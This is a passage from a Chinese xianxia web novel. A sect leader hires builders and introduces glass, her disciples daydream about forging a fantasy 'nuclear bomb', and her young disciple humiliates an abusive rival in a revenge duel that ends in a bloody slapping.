她连蒙带猜地讲了些材料和原理,苏渺渺听得眼睛发亮,默默把这些都记在心里,准备明天一字不落地告诉二师兄。 “好啦,故事也讲了,核弹也说了,很晚了,快睡吧,小孩子要睡饱饱才能长高高变厉害。”云见月帮她掖好被角。 苏渺渺打了个哈欠,乖乖闭上眼睛,梦里好像都在琢磨那个叫“核弹”的厉害法宝。 等她呼吸变得均匀绵长,云见月才轻手轻脚地离开,转身去了旁边的厢房。 至于她原本宽敞舒适的寝殿?自从虞青焰那厮来了之后,就理直气壮地霸占了。 她就只能委屈一下了。 坐在床上,她取出传讯玉简,点开白天发布的修缮公告。 果然,下面已经吵翻了天,大半都是冷嘲热讽: 【青云剑宗弟子:就玄天宗那破落户,还想请人修缮?怕是连工钱都付不起吧?】 【青云剑宗弟子:云见月,你爹留下的那点家底早被你败光了吧?别是又想去缠着我们楚少主讨灵石,要点脸!】 【天元宗弟子:楼上真相了,谁不知道云见月对你们楚少主死缠烂打,退婚了还不知廉耻,现在搞这出,怕不是想吸引楚少主注意?省省吧!楚少主眼里只有我们苏师姐(苏心瑶)。” 【某小宗门修士:一群老弱妇孺,守着个破山头迟早散伙,还修什么修?不如早点把地盘让出来,省得占地方。】 【某不知名散修:啧啧,这要求可不低啊,用料扎实防御强,工期从速,这预算没个几百万下品灵石下不来吧?玄天宗能拿出零头吗?】 污言秽语,恶意揣测,扑面而来。 绝大部分的嘲讽都来自青云剑宗及其附属势力,以及明显是为苏心瑶出头的天元宗弟子。 字里行间充满了对玄天宗的鄙夷和对云见月本人的羞辱。 云见月面无表情地看着这些跳梁小丑般的留言,内心毫无波澜,甚至有点想笑。 这些人的嘴脸,在她预料之中。 她手指轻划,信息流飞快滚动,直接无视了这些噪音。 突然,一条风格迥异的留言映入眼帘,位置不算靠前,却带着一种笃定: 【合欢宗·花影:我宗精擅土木营造,于殿宇修缮颇有心得,贵宗要求,可接。明日巳时,可遣人携详图前往玄天宗勘察议价。静候回复。】 没有多余的客套,也没有轻视。 云见月眼中闪过一丝笑意和赞赏。 敌人的敌人,果然看着就顺眼。 她毫不犹豫,立刻神念微动,直接在玉简中回复: 【玄天宗·云见月:@合欢宗·花影明日巳时,玄天宗恭候大驾。详情面谈。” 发送完毕,云见月收起玉简,唇角勾起一抹志在必得的弧度。 明日,玄天宗的蜕变,就将迈出坚实的第一步。 而那些躲在玉简后面狂吠的人,她云见月会用事实狠狠抽肿他们的脸! 第32章 玻璃的出现,成功震惊了修真界的人 清晨。 师徒几人外加虞美人,七个人围坐在餐桌前用早饭。 云见月看着对面慢条斯理、姿态优雅地喝着粥的虞青焰,忍不住问道: “虞青焰,你打算什么时候动手修复护山大阵啊?” 这位祖宗来宗门两天了,每天不是吃就是睡,别说修复大阵,连修炼的影子都没见着。 云见月暗自嘀咕,他整天这么躺着,怎么也不见胖? 她指了指外面一览无余的山门,“你打算门户大开到什么时候?” 虞青焰放下碗筷,用一方绣工精致的手帕慢悠悠地擦了擦嘴角,动作赏心悦目,语气却懒洋洋的:“急什么?你不是要大肆修缮殿宇?接下来必然是人来人往。 护山大阵若在此时开启,岂不是要把你请来的施工队都挡在外面? 或者你想让他们每天进进出出都让我给开通道?你不嫌麻烦,我还嫌麻烦。 不如等他们修缮完毕,门户清净了,我再布阵。一劳永逸,岂不美哉?” 云见月:“……” 好吧,听起来确实有点道理。 要不是有这位修为深不可测的大爷坐镇,她还真不敢让宗门就这么门户大开地施工。 也多亏了如今的玄天宗在旁人眼里穷得叮当响,暂时没人惦记,不然早就被打劫了。 她无奈点头:“行吧,那就等修缮完再说。” 早饭过后,很快便到了约定的巳时(上午九点至十一点)。 云见月带着徒弟们在宗门广场等候,孩子们兴奋的踮着脚尖望着天空,远远望见一艘庞大而华丽的飞舟撕裂云层,破空而来。 飞舟通体流光溢彩,舟身雕刻着繁复的花纹,行驶间带起阵阵灵风,仿佛一条游弋在天际的巨龙,磅礴大气。 飞舟轻盈地降落在广场空地上,以花影为首的合欢宗弟子翩然而至。 他们身着飘逸的粉白长袍,步履轻盈,周身灵气萦绕,宛如画中走出的仙人。 苏渺渺看得眼睛都直了,小手紧紧拽着云见月的衣角,小声惊叹:“师尊,他们好漂亮啊。” 其他几个孩子也都瞪大了眼睛,被这极具视觉冲击力的场面震撼到说不出话。 尤其是为首的花影,他一身火红色长衫,外罩一件绣着银色合欢暗纹的纱衣,长发如瀑,气质妩媚。 容貌不是最顶的,但那双狐狸眼简直如同狐狸精一般勾人。 云见月见了,都不由得吞咽了口唾沫。 心道:不亏是合欢宗的人,长的就是漂亮。 一行人修为皆是不俗,气场强大而和谐,甫一出现,就牢牢吸引了所有人的目光。 花影走到云见月面前,对上她看呆了的眼神,狐狸眼一弯,笑容极其魅惑。 “云师妹?” 云见月赶忙回神,轻咳一声掩饰自己的失态,“花道友。” 花影微微一笑,“我师尊与你父亲也曾有过交集,如此算来,你可称我一声师兄。” “花、花师兄。” 话音刚落,一道神识传音便在识海中响起。 “你山珍海味吃多了?” 云见月猛地看向百无聊赖靠在门槛上的虞青焰,这祖宗又抽什么风? “什么意思?” 虞青焰轻嗤:“对着清粥小菜也能流口水。” 云见月:“.......” 她恶狠狠瞪了他一眼:闭嘴!再多嘴今晚没你饭吃! 你懂个屁,山珍海味吃多了还不能换换口味欣赏野趣了? 虞青焰是美,花影是魅,不一样。 想她上辈子做金牌幼师那些年,每天面对的都是孩子,接触最多的男性就是人到中年,身材发福的孩子爹。 没想到穿越一回,能饱这样的眼福。 花影对上她看呆了的眼神,狐狸眼一弯,笑容魅惑得能滴出水来。 他甚至微微侧了侧脸,摆出一个更显轮廓的角度,修长的手指轻抚过自己光滑的下颌线,语气带着点慵懒的苦恼:“唉,云师妹这般盯着我瞧……莫不是也迷上我这张脸了?长得太美,果然是一种甜蜜的负担呢。” 云见月痴汉的表情瞬间裂开。 救命!这年头美男子都这么普信的吗? 玉简里那个正经靠谱的人呢? 网恋奔现果然要不得! 云见月礼貌的冲他一笑:“花师兄,我带你实地勘察一下,请随我来。” 云见月带着他在主殿、偏殿、弟子居所和演武场等地,全部转了一圈。 随后,提出了自己的要求:“我们的要求是防御优先,兼顾美观,不求奢华,但要大气庄重。” 她顿了顿,指向窗户,“最后,也是最重要的,所有窗户都要预留玻璃安装位。” “玻璃?”花影和一众合欢宗弟子们都露出了疑惑的神情。 “不知这玻璃是何物?” 云见月从储物袋中取出鹿闻声炼制的玻璃,递给花影。 花影接过,入手冰凉坚硬,触感光滑,她的狐狸眼瞬间瞪圆了。 “这……这是何种宝物?竟如此透明纯净,比最上等的琉璃还要剔透!”一位弟子忍不住惊叹。 花影轻抚着玻璃,感受着它的质感,眼中满是震撼:“真是闻所未闻,见所未见。” 他将玻璃举起,对着天光,光线毫无阻碍地穿透过去,将后面的一切景象都清晰地呈现在眼前。 手指轻轻敲击,发出清脆的“叮”声。 “此物名为玻璃,透光、坚固、挡风、防水。”云见月介绍道,“安装上它,殿内将亮如白昼,再无风雨之忧。” 苏渺渺忍不住从云见月身后探出小脑袋,奶声奶气地补充:“对呀对呀!可亮可亮啦!以后在屋里就能看到外面的大鸟飞过去,再也不用趴在窗户纸上抠洞洞啦!” 她的话天真又直白,引得合欢宗众人莞尔,同时也更直观地感受到玻璃的实用性。 花影强压下心中的震撼,他的商业嗅觉极其敏锐,立刻意识到,眼前这块小小的“玻璃”,一旦问世,将会在修真界掀起怎样的风潮。 其价值,恐怕远超想象。 他看向云见月的眼神,瞬间变得热切。 这次接下玄天宗的工程,恐怕是捡到宝了。 花影团队立刻展开专业评估,很快给出了初步方案和预算。 “基于你的要求,特别是防御等级和预留玻璃窗的特殊结构,所需材料和人工远超普通修缮。初步估算,总计需四百五十万下品灵石。预付三成定金,一百三十五万下品灵石。” 云见月毫不犹豫,直接拿出上品灵石预付了三成定金。 合欢宗弟子们更是眼神发直,看向云见月的目光充满了敬畏。 随手拿出上品灵石付账,这位玄天宗宗主的底蕴,深不可测。 外面传言玄天宗穷的揭不开锅,可见都是谣言。 合作正式敲定,工程立刻开始。 就在云见月与花影就一些细节进一步沟通时,苏渺渺迈着小短腿跑到了炼器房,找到了正在控火熔炼石英砂的鹿闻声。 “二师兄!二师兄!”苏渺渺压低声音,神秘兮兮地凑过去。 “渺渺怎么了?”鹿闻声擦了把汗。 苏渺渺把云见月关于“核弹”的所有信息一五一十地复述出来,大眼睛里满是期待:“二师兄,你能炼出来吗?” 鹿闻声拿着小本本认真记录:大胖鱼形状、金属壳、按按钮引爆、需要稀有金属材料、威力相当于一千个元婴老祖自爆…… 他挠了挠头:“渺渺,我也不确定能不能炼制出来,等我完成了师尊交代的任务,再慢慢研究。” 苏渺渺握着小拳头,信心满满地给二师兄打气,“二师兄是最厉害的炼器师,我相信你一定可以炼制出来的。” 看着小师妹充满信任和期待的眼神,鹿闻声心中涌起信心。 师尊说的肯定是对的,小师妹是福星,肯定能给他带来福气,他相信自己早晚能把核弹炼制出来。 只要搞懂“压缩能量”和“瞬间释放”的原理,核弹爆炸的威力应该就有把握了。 当然,眼下最重要的还是炼制玻璃。 玄天宗的修缮工程如火如荼地进行着。 转眼三天过去。 这天,云见月想起该去云织坊取那套为虞青焰定制的“花仙子”套装了。 “仙儿,要不要跟师尊去云织坊取衣服?” 郁仙没想到师尊会主动带上她,心中又惊又喜,受宠若惊的同时,赶忙点头同意。 宗门有虞青焰坐镇,又有合欢宗的人在施工,倒也不用担心出乱子。 她带着郁仙,直奔云织坊。 霓裳阁。 气氛极其压抑。 楚凌风面沉如水地翻看着手中的账本,手指划过账目,眉头越皱越紧。 前半个月的销售额还算正常,可后半个月,几乎呈现断崖式下跌,整个月的利润比上月足足少了三成。 “啪!”楚凌风一把将账本狠狠摔在柜台上,怒视着掌柜:“给本君一个解释,这到底是怎么回事?” 掌柜的紧张得直擦汗,将早已准备好的说辞倒了出来: “少主息怒,这真的不能怪小的啊。”他哭丧着脸,“都怪那个女修,她先是故意在我们店里找茬闹事,羞辱我们霓裳阁。 然后转头就跑到对面的云织坊,一口气豪掷五千下品灵石,买了五件上品法衣,就是为了当众打我们霓裳阁的脸,羞辱我们青云剑宗。 这事传得满城风雨,咱们霓裳阁的名誉受损,生意自然一日不如一日了。” “什么样的女修?也不打听打听霓裳阁是谁的产业。”楚凌风冷声道。 掌柜的立刻火上浇油,信口雌黄:“小的当时就告诉她,咱们霓裳阁是修真界第一大宗门青云剑宗的产业,可您猜她怎么说?” 掌柜的模仿着一种极其嚣张的语气,唾沫横飞:“她指着小的鼻子骂,说‘青云剑宗算什么东西?在她眼里屁都不是,给合欢宗提鞋都不配’。 少主您听听,这是何等狂妄,就是她才害得生意一落千丈。” “那女修叫什么名字?”楚凌风声音冷得像冰,眼中杀意弥漫。敢如此羞辱他青云剑宗,简直是找死。 “小的不知她姓名。”掌柜正说着,一抬头,恰好透过敞开的房门看到对面云织坊门口一大一小两道熟悉身影。 他激动得指着对面尖叫:“少主,就是她,就是那个女人,她又去云织坊了。” 楚凌风顺着他的手指转头看去。 那个身着素雅,身姿挺拔,正牵着一个小女孩准备踏入云织坊的女子,不是云见月又是谁? 如果是别的女修,楚凌风或许还会怀疑掌柜的夸大其词。 但眼前这个人是云见月,那个曾经对他卑躬屈膝、死缠烂打、最近却一反常态、屡次对他出言不逊甚至动手的云见月! 一切都说得通了! 这分明就是她求而不得后,因爱生恨,故意用这种下作手段来吸引他的注意。 想用这种极端的方式,让他记住她! 甚至……重新关注她! 楚凌风怒极反笑,一股被冒犯、被戏弄的邪火直冲天灵盖。 他身形一闪,瞬间挡在云见月面前,咬牙切齿: “云见月,你行!你真行!我承认,你这一次的不走寻常路,成功引起了我的注意。” 正准备踏入云织坊的云见月,脚步猛地一顿。 这熟悉的、充满霸道总裁油腻气息的台词,瞬间把她油得外焦里嫩,仿佛被一万只‘霸道总裁’的皮鞋同时踩过脑仁,恶心得隔夜饭都要吐出来了。 第33章 油王楚凌风,比大庆油田还要油 云见月立刻做出了一个极其夸张的干呕动作,仿佛吞了只苍蝇,同时迅速捂住郁仙的耳朵,沉声道: “仙儿乖,快闭眼捂耳,有脏东西污染视听。” 她抬起头,看向楚凌风的眼神,就像在看一坨刚从臭水沟里捞出来的死老鼠,厌恶又嫌弃。 “楚凌风,几天不见,你这普信的毛病愈发严重了。我建议你赶紧找个靠谱的医修看看脑子,实在不行去凡间油坊应聘榨油工,那里的油说不定都没你身上的腻。” 楚凌风被这毫不留情的嘲讽噎得脸色铁青。 他身后的掌柜见主子受辱,立刻跳了出来,叫嚣:“放肆!你算个什么东西,竟敢对我们少主如此无礼,活腻了吗?” 云见月眼皮都没抬一下,“啧,主人还没说什么,狗倒是先叫上了。” “你……”掌柜的气得差点一口气没上来,指着云见月的手指都在哆嗦。 “你什么你?”云见月终于瞥了他一眼,“话都说不利索,我看你是岁数太大,老年痴呆提前发作了吧?” 掌柜的被语言攻击的倒退几步,捂住了心口。 楚凌风强压着翻腾的怒火,冷冷地盯着云见月,“牙尖嘴利,云见月你以为用这种拙劣的方式,就能让我对你刮目相看吗?痴心妄想!” “哦。”云见月面无表情地应了一声,连眼皮都懒得掀一下。 楚凌风被她这敷衍的态度激得心头火起,“呵!意识到死缠烂打不管用,现在就开始玩欲擒故纵的把戏了?真是卑劣!” “哦。” “云见月,我告诉你,不管你耍什么花招,用什么手段,我都不会喜欢你,永远不会!”楚凌风几乎是吼出来的,试图用绝情的话语击溃她的“伪装”。 “哦。” 他本以为能看到云见月气急败坏的样子,没想到对方根本不接招,那副不咸不淡的态度比痛骂他还让人窝火。 “我在同你说话!你听到了没有?一直哦哦哦……哦你妹啊哦!”楚凌风终于破防了,额角青筋暴跳,风度荡然无存。 云见月眨了眨眼,非常“乖巧”地、清晰无比地再次吐出一个字:“哦。” “噗嗤……哈哈……”周围看热闹的人群中,终于有人忍不住笑出了声。 楚凌风彻底炸了,胸口剧烈起伏,像只被戳破的气球。 他指着云见月,语无伦次地咆哮:“你......你简直不可理喻!我告诉你,你毁我霓裳阁生意,坏我青云剑宗名声,必须赔偿损失,还要当众承认你卑鄙无耻,向霓裳阁和青云剑宗道歉。” 他越说越激动,唾沫星子横飞:“否则我就让你玄天宗在修真界彻底混不下去,你以为我楚凌风是好惹的?识相点就乖乖照做,我还能饶你一次。” “想让我道歉?你想屁吃。” “云见月你这是敢做不敢当?”楚凌风仿佛拿捏住了她的软肋,“你要是乖乖照做,我可以破例让你牵我的手一炷香时间,以前的你不是最想要亲近我吗?好,我给你一次机会,这么好的机会你可要把握住,过了这村就没这店了。” 云见月再次干呕了一声,“你是真的病了。” “云见月,你真的惹怒我了!”楚凌风咬牙切齿。 “所以呢?你咬我啊!” “你......你......”楚凌风气得浑身发抖,半天说不出一句完整的话。 他深吸一口气,强压下掀翻整条街的冲动,放狠话:“好!好得很!我宣布这次的机会不作数,云见月从今往后,你就算跪在我面前求我,我都不会多看你一眼。” “那我谢谢你啊。”云见月还真冲他拱了拱手。 周围看热闹的修士再也忍不住,纷纷笑出声来。 见过自恋的,没见过楚凌风这么能脑补的,人家女修都表现的这么明显了,他还一个劲儿的狂妄自大,他们都替他尴尬。 站在楚凌风身后,默不作声的萧凡和郁姝终于忍无可忍,跳了出来。 萧凡指着云见月,一脸义愤填膺:“云见月,你休要在此装模作样,当初是谁像条哈巴狗一样缠着我师尊?那些下作手段,整个修真界都传遍了。 如今摆出这副不在意的清高样子给谁看?要不是我师尊重情重义,念及旧情,早就一剑杀了你这不知廉耻的女人,哪还容得你一次又一次的放肆。” 云见月似笑非笑,“你大可问问你师尊,他有没有能力杀我。” 郁姝满脸刻薄,“我师尊是真男人,才不屑和你这种女人计较,你就是一个人尽可夫的烂货,你怎么好意思活着,我要是你早一头撞死了,免得污染空气。” 一直沉默的郁仙猛地抬起头,“不许你说我师尊!” 郁姝斜睨了她一眼,满脸鄙夷:“我当是谁呢?原来是被药仙谷扫地出门的丧家之犬。 像你这种低贱的野种,也就只有云见月这种同样下贱的女人会把你当个宝捡回去了,真是物以类聚。” 郁仙的指甲深深掐进掌心,指节泛白。 “你再羞辱我师尊,我对你不客气!” “对我不客气?”郁姝像是听到了什么笑话,笑得前仰后合,“就你?也配!” “你是不是忘了在药仙谷的时候,被我打得像条落水狗的样子了? 你敢动我一根汗毛试试?信不信我爹爹和娘亲立刻从药仙谷杀过来,剁了你的手!” 药仙谷、爹娘、打骂......这些词语像针一样扎进郁仙的心里,她忍不住浑身发抖,那些被亲生父母忽视、被假千金欺辱的画面瞬间涌上心头。 “哈哈,快看她怂了!真是个没用的废物!”郁姝笑得更得意了。 云见月察觉到郁仙的恐惧,眼神瞬间冷得像冰。 她不在意别人对她的羞辱,但她绝对不允许别人羞辱她的宝贝徒儿。 她抬手轻轻抚摸郁仙的发顶,声音温柔却带着不容置疑的力量:“仙儿,师尊说过你值得最好的。 那些曾经伤害你,舍弃你的人,他们存在的唯一意义,就是把最好的你,送到为师身边。 让为师有机会疼你、爱你、包容你、保护你。他们根本不配占据你心里哪怕一丝一毫的位置,更不值得你为他们恐惧、伤心。” 她的话语带着安抚人心的暖意:“记住,师尊永远是你最坚强的后盾。 不要怕,谁欺负你,你就狠狠地打回去,十倍百倍地还回去,师尊永远支持你。” 郁仙的身体慢慢停止颤抖,她抬起头,看着云见月坚定的眼神,如同阳光驱散了心底的阴霾。 再次看向郁姝时,眼底的恐惧已经褪去,只剩下一片冰冷的平静,再无波澜。 郁仙的声音不大,却异常清晰,“我倒要看看,是你爹娘从药仙谷杀出来剁我的手快,还是我现在杀了你更快。” “你这废物还敢杀我?”郁姝一脸不屑,“简直痴人说梦!” 萧凡见状,立刻对楚凌风道:“师尊,这野丫头不知天高地厚,竟敢口出狂言,不如就让小师妹出手好好教训教训她,依徒儿看,您就是对她们师徒太仁慈了,才让她们如此无法无天,蹬鼻子上脸。” 楚凌风也觉得被云见月师徒如此当众顶撞、羞辱,颜面尽失,急需找回场子。 他努力维持着最后的风度,沉声道:“云见月,本君不愿与你一介女流动用武力,但你实在咄咄逼人,本君也只好让姝儿给你的徒弟一点小小的教训,让她明白什么叫天高地厚。” 他顿了顿,抛出一个自以为诱人的赌约:“不如,我们就在此立个赌约,若你徒儿输了,你便当众跪下认错,承认是你心思歹毒,故意损毁我霓裳阁名誉,并赔偿我霓裳阁的所有损失,如何?” 云见月冷笑:“哦?那如果你们输了呢?” “输?”楚凌风嗤笑一声,“我徒儿郁姝天资聪颖,得药仙谷真传,岂会输给你这捡来的野丫头?没有如果!” “万一呢?”云见月步步紧逼,眼神锐利,“我徒儿输了,我既要下跪道歉又要赔偿损失;你们输了,却一丁点儿惩罚都没有?楚凌风,你的算盘珠子都快蹦到我脸上了。 怎么?青云剑宗的少主,就这么玩不起?” 周围看热闹的人也跟着起哄: “就是就是,哪有这么不公平的赌约。” “输不起就别赌啊。” “楚少主,人家仙子说得在理,要赌就公平点,你徒弟要是输了,你就把你那霓裳阁,直接赔给这位仙子得了,敢不敢啊?” 云见月挑眉,觉得这个主意不错:“怎么样?你们输了,敢把整个霓裳阁赔给我吗?你要是敢,我就跟你赌;你要是不敢,就带着你的人有多远滚多远,别在这儿碍眼。” 楚凌风被众人的目光看得下不来台,咬牙道:“我有什么不敢赌的,赌就赌!” 他转向郁姝,眼中带着期许:“姝儿,看你的了,务必给为师争口气。” 郁姝一脸傲慢,仿佛胜券在握,故意提高音量,“师尊您就放一百个心吧,在药仙谷的时候,这小野种被我骑在身下打,毫无还手之力。 如今?哼,她依然只配被我骑着打,一会儿您就好好看着,徒儿怎么当着所有人的面,让她学狗爬的,给您好好出这口恶气。” 他们嚣张的话语清晰地传入云见月和郁仙耳中。 云见月微微弯腰,凑到郁仙耳边,声音带着绝对的信任和支持:“仙儿,听到了吗?那郁姝可是要在众人面前,把你踩进泥里,狠狠羞辱你。 一会儿动手,不必跟她客气,她那张嘴那么贱,你就尽管给我打烂它。 这么好的机会,不容错过,尽量一次就把以前她欺负你的账算清。 出了任何事,哪怕天塌下来,也有为师给你顶着。” 云见月给她一个“放手去干”的坚定眼神。 郁仙重重点头,无半分怯懦:“是,师尊,仙儿明白。” 第34章 叫你嘴贱,看我不把你的嘴打烂 郁姝站在场中,下巴高昂,脸上写满了笃定与轻蔑。 在她眼里,郁仙不过是个从乡下找回来的废物,是药仙谷不要的弃子。 而她郁姝,是爹娘捧在手心的明珠,自幼便享用着药仙谷最优质的资源,修为、丹药、功法,哪一样不是精心培养? 这场比斗,毫无悬念! “小野种,现在跪地求饶还来得及,免得到时候被我打断腿,哭爹喊娘,那可就太难看了。” 郁姝晃了晃手腕,灵力催动下,几株青藤破土而出,在她身侧妖娆地扭动, “不过嘛,就算你喊娘也没用。娘亲只会像看条肮脏的野狗一样看着你,哈哈哈。” 郁仙站在原地,眼神平静得像一潭深水,不起半点波澜。 她只冷冷地吐出六个字:“废话真多。” 她的冷静,衬托的郁姝像条疯狗。 郁姝被她激怒,娇叱一声,猛地挥手,青藤如毒蛇般窜出,瞬间缠住了郁仙的手脚,将她牢牢捆住,动弹不得。 “哈哈哈!”郁姝笑得前仰后合,“说你废物,你真就是个废物,连一个回合都撑不住,也配跟我斗?” 萧凡在一旁得意附和:“云见月,这就是你教出来的徒弟?也不怎么样嘛,我看还是趁早认输,省得丢人现眼。” 楚凌风抱胸而立,摆出高高在上的姿态,睥睨着云见月,施舍道: “云见月,你徒弟输了,你现在立刻跪下来磕头认错,承认你卑鄙无耻,赔偿损失,本君或许还能大发慈悲,原谅你这一次的冒犯。” 云见月连眼皮都没抬一下,目光始终落在郁仙身上,带着一种难以言喻的信任。 被彻底忽视的楚凌风脸色一沉,心里暗骂:哼!云见月你是不见棺材不落泪,等会儿你的宝贝徒弟被姝儿打得满地找牙、痛哭流涕的时候,我看你还怎么装。 “小野种,还不认输?”郁姝收紧藤蔓,青藤勒得更深,几乎要嵌进郁仙的皮肉里。 郁仙的唇瓣却微微上扬,眼底掠过一丝冰冷的笑意。 郁姝最讨厌她这副样子,仿佛一切都在她掌控之中。 “不知死活的东西,那就别怪我心狠手辣了!” 她冷哼一声,再次幻化出一道青藤,藤尖闪着寒光,直刺郁仙心口。 她要让这废物知道,跟自己作对的下场。 就在青藤即将刺中的刹那,异变陡生。 一股微弱的、仿佛草木精华被瞬间抽离的‘嘶嘶’声隐约响起,伴随着藤蔓急速失去光泽和水分,缠绕在郁仙身上的那些原本生机勃勃、坚韧无比的青藤,竟以肉眼可见的速度枯萎、发黄,像是被抽走了所有生机,眨眼间就变成了一堆枯枝。 “这……这是怎么回事?”郁姝惊得后退一步,脸上的狞笑僵住了。 围观的修士也一片哗然,谁都没见过如此诡异的景象。 就在郁姝失神的这一刻,郁仙身上那些干枯的藤蔓如同脆弱的蛛网般寸寸断裂、脱落。 她站在原地,毫发无伤。 她微微抬起眼帘,看向惊骇的郁姝,“接下来,该我了。” 话音未落,郁仙双手结印,动作比郁姝方才快了数倍。 刹那间,数十条更加粗壮、泛着奇异暗绿光泽的藤蔓破土而出,如同狂舞的巨蟒,瞬间将郁姝层层缠绕、牢牢捆缚,任凭郁姝如何拼命挣扎、调动灵力,都纹丝不动。 更让她崩溃的是,被藤蔓缠住的瞬间,浑身皮肤突然像被千万只蚂蚁啃噬,又痒又麻,灵力运转都变得滞涩不畅。 “你对我做了什么?”郁姝尖叫着,眼泪都痒了出来。 “以其人之道,还治其人之身。”郁仙声音清晰地传遍全场,“在药仙谷,你就是这样用‘蚀骨痒粉’,一次又一次地整我,让我出丑,痛不欲生。” “现在,轮到你好好品尝这滋味了,滋味如何?” “小贱人,你无耻,居然对我下毒。”郁姝又气又急,在藤蔓里疯狂扭动。 “我们的赌约,没说不准下毒吧?”郁仙歪了歪头,语气里带着一丝天真,却更显讽刺。 “啊啊啊!我杀了你,我一定要杀了你这个野种。”郁姝被这深入骨髓的奇痒折磨得彻底失控,涕泪横流,疯狂地扭动嘶吼,却根本无法挣脱藤蔓的束缚。 郁仙走到她面前,停下脚步。 郁姝惊恐地瞪大眼睛:“你要干什么?我警告你,你敢动我一下,我爹娘一定不会放过你,他们会把你碎尸万段。” “那就让他们来。”话音落下,郁仙抡圆了手臂,用尽全力,狠狠地扇了下去。 “啪——”这一巴巴掌,是替柴房里饿晕的我打的。 “啪啪”又是连续两巴掌。 这是你诬陷我抢你丹药,害我被亲生爹娘惩罚。 “啪啪啪”狠狠几记耳光,将郁姝嘴角打破,鲜血流出。 这是爹娘为了你,不分青红皂白的对我动用家法。 随着巴掌的不断落下,郁姝从怒骂到呜咽,挣扎的幅度也越来越小。 “啪啪啪啪啪——” 郁仙的双手化作残影,密集而沉重的耳光如同雨点般落在郁姝那张曾经写满傲慢的脸上。 不过片刻,郁姝的脸颊就肿得像猪头,嘴角裂开,鲜血顺着下巴往下淌。可郁仙没有停手的意思。 师尊说了,谁欺负她,就要十倍百倍地还回去。 药仙谷那短短一年,郁姝的陷害、爹娘和哥哥不分青红皂白的责骂、无情的耳光落在她脸上、被罚跪在冰冷的石阶上、饿着肚子被关进柴房、动用家法时藤条抽在背上的剧痛…… 一桩桩,一件件! 累积的委屈和痛苦,此刻化作无穷的力量,尽数倾泻在郁姝的脸上。 别说几百个耳光,就是一千个,也难消她心头之恨。 “住手!小野种!你给我住手!”楚凌风眼看着自己心爱的徒儿被当众扇成猪头,鲜血从她破裂的嘴角和鼻孔中不断涌出,那张原本娇俏的脸蛋此刻肿胀变形,惨不忍睹,他再也无法保持冷静,目眦欲裂。 一道凌厉的灵力凶狠地射向郁仙。 云见月眼神骤然冰寒,抬手间射出一道冰寒刺骨的灵力,两股力量在半空相撞,“轰”地炸开一团气浪。 她冷冷地看着楚凌风:“楚少主,赌约还没结束,你现在插手,是想认怂?还是说,你们青云剑宗输不起?” “云见月!”楚凌风胡搅蛮缠,指着郁仙怒斥,“你徒弟用毒暗算,卑鄙无耻,明明是她耍赖。 还有,你眼瞎吗,你看看姝儿都被打成什么样了?小小年纪如此恶毒,你就是这样教导徒弟的?” 萧凡也跟着叫嚣:“就是!用这种阴毒手段赢了也不光彩,郁仙这小贱人的心也太狠了。 郁仙你这心肠歹毒的贱婢,快放开我师妹,否则我青云剑宗定要你玄天宗鸡犬不留。” “噗嗤……”云见月突然笑出声来,笑意却未达眼底。 “先出言挑衅、咄咄逼人的是你们,主动提出赌约的也是你们,先对我徒儿恶语相向、甚至率先动手的还是你们,如今,我徒儿被动还击,为自己讨回公道,反倒成了我们恶毒? 按照楚少主和你这位高徒的意思,我们就该像个木头桩子一样杵在原地不动,任由你们随意打骂、羞辱、甚至杀害,才算是善良无辜、才合你们的心意是吗?” 她脸上的嘲讽之意浓得化不开:“你们师徒二人这颠倒黑白、强词夺理的无耻程度,可真是不断刷新我对‘名门正派’认知的下限啊!” 她环视四周,扬声道:“大家来评评理,这是什么道理?” 周围看热闹的修士早就看不惯楚凌风的嚣张,此刻纷纷开口: “输了就输了,还找这么多借口,太不要脸了!” “你们自己先找茬先打赌的,现在反倒说别人阴毒?青云剑宗的脸都被你们丢尽了!” “输不起就别赌啊,玩不起就滚,什么狗屁第一大宗门,我看是输不起宗吧!” “赶紧认赌服输,别在这儿丢人现眼了!” 指责声此起彼伏,几乎要将楚凌风和萧凡淹没。 两人被骂得面红耳赤,哑口无言,只能眼睁睁看着郁姝在藤蔓中如同待宰的羔羊,承受着郁仙狂风暴雨般的耳光,每一记耳光都仿佛抽在他们脸上,心疼得滴血,却又不敢再轻易出手。 此时的郁姝,早已没了人形。 脸颊高高肿起,青紫交加,嘴唇破裂翻卷,鲜血混合着口水不断淌下,眼睛被肿胀的脸颊挤得只剩下一条缝,哪里还有半分之前的趾高气扬?凄惨无比。 云见月抱胸站在一旁,还不忘适时给徒弟进行“现场教学指导”: “仙儿,刚才那一巴掌力道不错,但角度偏了点,没抽到颧骨最疼的位置。” “这一下准度有了,但发力不够透,手腕再压下去一点。” “对对对,就是这样!她嘴巴那么贱,多抽几下,让她记住嘴贱要付出代价。” “啧,为师不太喜欢她那副眼高于顶、用鼻孔看人的样子,眼高于顶的人,就该让她看清地面。” “嗯,不错不错,现在这模样,看着顺眼多了。” 她的每一句“点评”,都像一把盐狠狠洒在楚凌风的伤口上。 “云见月!你不要得寸进尺!”楚凌风气得浑身哆嗦,咆哮道。 云见月淡淡瞥了他一眼:“楚凌风,我送你一句话:不经他人苦,莫劝他人善;你若经我苦,未必有我善。 我徒儿在药仙谷受过的苦,你一无所知,她今日所还,不及当年所受万一。” “你……”楚凌风被堵得说不出话。 他深吸一口气,看着郁姝越来越微弱的呻吟,知道再打下去真要出人命了,只能强压着滔天的怒火和屈辱,几乎是从牙缝里挤出声音:“那你要怎样才肯让你徒弟住手?” “你不该问我。”云见月下巴朝郁仙抬了抬,“该问我徒儿。” 楚凌风脸色一阵青一阵白,他堂堂青云剑宗少宗主,难道要向一个“小野种”低头?这比杀了他还难受。 可看着郁姝越来越凄惨的样子,他垂在身侧的手紧握成拳,指节因过度用力而发白,甚至微微颤抖。 最终,他还是妥协了,挤出一个比哭还难看、扭曲的笑容,艰难地开口: “郁仙,姝儿……姝儿好歹是你姐姐,你打也打了,气也撒了,该放了她了吧?” 郁仙反手又是一记响亮的耳光抽在郁姝肿胀的脸上。 粗略算来,已有数百记耳光落下。 郁姝口鼻喷血,若不是被藤蔓吊着,早就瘫倒在地了。 她侧过头,小小的身子却透着一股不容小觑的气场:“你徒弟什么时候认输,我什么时候停手。” 楚凌风:“……” 他的姝儿嘴都被打烂了,还怎么认输? 或许是郁仙的话起了作用,或许是彻底被打怕了,郁姝痛到没知觉的嘴唇动了动,发出含混不清的哭喊:“别打了,我认输,师尊救我,呜呜呜……” 她的牙齿都被打掉了两颗,说话漏风,眼泪鼻涕混着血,哪里还有半分之前的威风? 